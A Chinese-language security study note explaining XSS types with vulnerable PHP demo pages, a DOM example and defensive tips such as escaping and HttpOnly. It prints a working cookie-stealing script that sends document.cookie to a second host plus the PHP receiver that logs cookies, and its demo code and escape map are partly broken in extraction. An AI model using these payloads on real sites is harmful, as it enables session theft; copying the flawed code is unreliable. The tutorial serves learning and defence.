本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
xss漏洞介绍
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
摘自:百度百科
也就是说,开发者在开发过程中没有较好的处理用户传入的内容,造成错将用户的输入当做网页代码执行。
接下来看一个xss漏洞的实例
if (isset($_REQUEST['name'])){
$name=$_REQUEST['name'];
echo "Hello , $name";
}else{
echo "name needed";
}
?>
访问此文件,提示需要参数name
在指定name参数后,会输出Hello , name
例如输入name=manlu
但假如攻击者输入了一串代码,就会造成xss漏洞
例如输入 name=
此时就会弹出一个弹窗,内容显示为 xss
这就是一个xss漏洞
xss的作用非常广,最常用的是盗取cookie和csrf组合拳
其中盗取cookie尤为常见,还有一些黑客将xss做成蠕虫,在网络上大量传播。
举一个盗取Cookie的例子
有服务器A(192.168.1.8)和服务器B(192.168.1.5),现在运行在服务器B的网站上存在xss漏洞,hacker想通过这个xss漏洞盗取用户的cookie
192.168.1.5/index.php
$username = 'root';
$password = '123456';
$host = 'localhost';
$dataBase = 'xsstest';
$con = mysqli_connect($host, $username, $password, $dataBase);
if (!$con) {
die("连接失败: " . mysqli_connect_error());
}
?>
<!doctype html>
<html lang="en">
<head>
if (isset($_POST['name']) && isset($_POST['content'])){
$name=$_POST['name'];
$content=$_POST['content'];
$sql="INSERT INTO `comment`( `username`, `content`) VALUES ('$name','$content')";
if ($con->query($sql)==true){
echo "";
}else{
echo "";
}
}
?>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>评论区</title>
</head>
<body>
<div><h2>评论区</h2></div>
<div>
<ul id="comment">
$sql = "select * from comment";
$result = mysqli_query($con, $sql);
while ($row = $result->fetch_assoc()) {
echo "" . $row['username'] .'
'. $row['content'] . "";
}
?>
</ul>
</div>
<div>
<h3>发布评论</h3>
<label for="name">输入你的用户名:</label>
<input type="text" id="name" name="name"><br>
<label for="content">内容:</label>
<input type="text" id="content" name="content" placeholder="评论的内容">
<input type="button" value="提交" id="btn">
</div>
<script>
document.getElementById("btn").onclick = function () {
var name = document.getElementById('name').value.trim();
var content = document.getElementById('content').value.trim();
if (name === "") {
alert("请输入用户名")
} else if (content === '') {
alert("请输入内容")
} else {
httpPost("index.php",{"name":name,"content":content})
}
};
function httpPost(URL, PARAMS) {
var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
}
</script>
</body>
</html>
查看该站点,如图,可以查看其它用户的评论,也可以自己发表评论
假如输入名称为manlu,内容为Hello World
此时一个黑客插入了一段xss代码,内容如下
<script>var img=document.createElement("img");img.src="http://192.168.1.8/receive.php?cookie="+escape(document.cookie);document.body.appendChild(img);</script>
这段代码创建了一个不存在的图片,并将用户的cookie发送给receive.php,任意用户访问该评论区,都会被盗取cookie。
192.168.1.8/receive.php
if (isset($_REQUEST['cookie'])){
$file=fopen('cookies.txt','a+');
fwrite($file, $_REQUEST['cookie']);
fclose($file);
}
?>
在用户访问后,192.168.1.8的目录中将会出现一个cookies.txt,如图
xss漏洞有反射型,存储型和DOM型三种类型
场景:黑客在一个存在xss漏洞的网站上输入了一串盗取cookie的代码,当任意用户打开该页面,就会将这个用户的cookie发送给黑客。黑客将这个界面的链接发给被攻击者,诱骗被攻击者打开链接,实施xss盗取cookie。
反射型xss漏洞非常常见,上文的源码就是一个反射型xss漏洞。
又叫持久xss漏洞,指xss的代码存储到用户的数据库中
场景:一个博客网站存在xss漏洞,这个博客网站允许发布用户自己的博客。黑客在其中插入了盗取cookie的JavaScript代码,这个JavaScript代码被存储到了数据库中,每个打开他博客的用户cookie都会被盗取。
存储型xss漏洞是最常见的xss漏洞,在互联网上非常常见。
通过修改页面的DOM节点形成的xss,称之为DOM Based XSS
例如
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSStitle>
head>
<body>
<script>
function test() {
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="testlink"
}
script>
<div id="t">div>
<input type="text" id="text" value="">
<input type="button" id="s" value="Write" onclick="test()">
body>
html>
访问网站,输入hello,会出现一个a标签,指向123
假如攻击者构造payload
' onclick=alert(/xss/)//
构造Payload的核心是闭合前面的标签,执行JavaScript代码
同时闭合或注释前面和后面的标签
’ //
‘>’<
更多的可以在https://www.html5sec.org/查看
在实际的渗透测试中,xss平台是非常有用的
我习惯使用https://xss.pt/xss.php,也可以自己搭建平台
说几个我在开发网站时防范xss的方法
1.长度限制
将长度限制在一定值内,虽然这样也可以进行绕过,但可以防范大部分的xss攻击
2.字符转义
过滤危险标签是不安全的,我在开发时直接将用户的输入进行转义
< 变成 <
> 变成 >
例如这是我写的用来处理xss
package tools;
import java.util.Arrays;
import java.util.HashMap;
public class CleanXSS {
public static final String[] danger_words = new String[]{"<", ">", "\"", "'", "&", " "};
public static final HashMap<String, String> map = new HashMap<>();
public static String Clean(String s) {
SetMap();
Arrays.sort(danger_words);
s = s.strip();
StringBuilder result = new StringBuilder();
for (int i = 0; i < s.length(); i++) {
String l = s.substring(i, i + 1);
if (Arrays.binarySearch(danger_words, l) >= 0) {
result.append(map.get(l));
continue;
}
result.append(l);
}
return result.toString();
}
public static void SetMap() {
map.put("<", "<");
map.put(">", ">");
map.put("\"", """);
map.put("'", "'");
map.put("&", "&");
map.put(" ", " ");
}
public static void main(String[] args) {
String text="";
String result=Clean(text);
System.out.println(result);
}
}
3.HttpOnly